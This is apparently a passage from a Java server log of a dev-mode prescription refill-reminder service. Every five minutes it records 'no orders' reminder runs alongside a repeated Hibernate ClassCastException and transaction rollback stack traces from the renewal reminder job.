2024-02-25 01:55:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 01:55:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 01:55:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 01:59:59 INFO successPOAExpiry:38 - .....AutoReminderForPOAExpiry Start..... 2024-02-25 01:59:59 INFO PatientProfileService:2275 - No folder associated to this campaign (System will return) 2024-02-25 01:59:59 INFO failedPOAExpiry:43 - There are no caretaker msg found. 2024-02-25 02:00:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 02:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:00:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:00:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 02:00:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 02:00:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 02:00:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 02:00:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 02:00:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 02:00:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 02:00:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 02:00:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 02:05:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 02:05:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 02:05:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 02:05:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 02:05:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 02:05:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 02:05:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 02:05:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 02:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:05:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:05:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 02:05:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 02:10:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 02:10:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 02:10:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 02:10:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 02:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:10:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:10:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 02:10:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 02:10:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 02:10:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 02:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 02:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 02:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 02:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 02:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 02:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 02:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at 